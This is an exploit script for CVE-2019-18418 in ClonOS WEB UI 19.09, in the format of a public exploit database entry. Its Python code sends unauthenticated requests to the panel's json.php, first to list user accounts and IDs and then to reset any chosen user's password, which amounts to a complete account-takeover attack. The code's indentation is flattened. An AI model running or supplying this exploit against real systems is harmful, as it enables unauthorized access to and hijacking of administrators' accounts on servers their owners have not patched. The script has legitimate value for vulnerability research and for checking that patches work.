# Exploit Title: ClonOs WEB UI 19.09 - Improper Access Control
# Date: 2019-10-19
# Exploit Author: İbrahim Hakan Şeker
# Vendor Homepage: https://clonos.tekroutine.com/
# Software Link: https://github.com/clonos/control-pane
# Version: 19.09
# Tested on: ClonOs
# CVE : 2019-18418
import requests
from bs4 import BeautifulSoup
import sys
def getUser(host):
reg=r'\"'
r1 = requests.post(host+"/json.php",data={"mode":"getJsonPage","path":"/users/","hash":"","db_path":""},headers={"X-Requested-With":"XMLHttpRequest"})
r1_source = BeautifulSoup(r1.content,"lxml")
for k in r1_source.findAll("tr"):
for i in k.findAll("td")[0]:
print(f"[+]User Found: {i} User id: {k.get('id').replace(reg,'')}")
def changePassword(host,user,password,id):
data={
"mode":"usersEdit",
"path":"/users/",
"hash":"",
"db_path":"",
"form_data[username]":f"{user}",
"form_data[password]":f"{password}",
"form_data[password1]":f"{password}",
"form_data[first_name]":"",
"form_data[last_name]":"",
"form_data[actuser]":"on",
"form_data[user_id]": int(id)
}
r2=requests.post(host,data=data,headers={"X-Requested-With":"XMLHttpRequest"})
if r2.status_code==200:print("[+]OK")
else:print("[-]Fail")
if __name__=="__main__":
if len(sys.argv)>1:
if "getUser" in sys.argv[1]:getUser(sys.argv[2])
elif "changePassword" in sys.argv[1]:changePassword(sys.argv[2],sys.argv[3],sys.argv[4],sys.argv[5])
else:print("Fail parameter")
else:print("Usage: exploit.py getUser [http://ip_adres]\nexploit.py changePassword [http://ip_adres] [username] [new_password] [user_id]")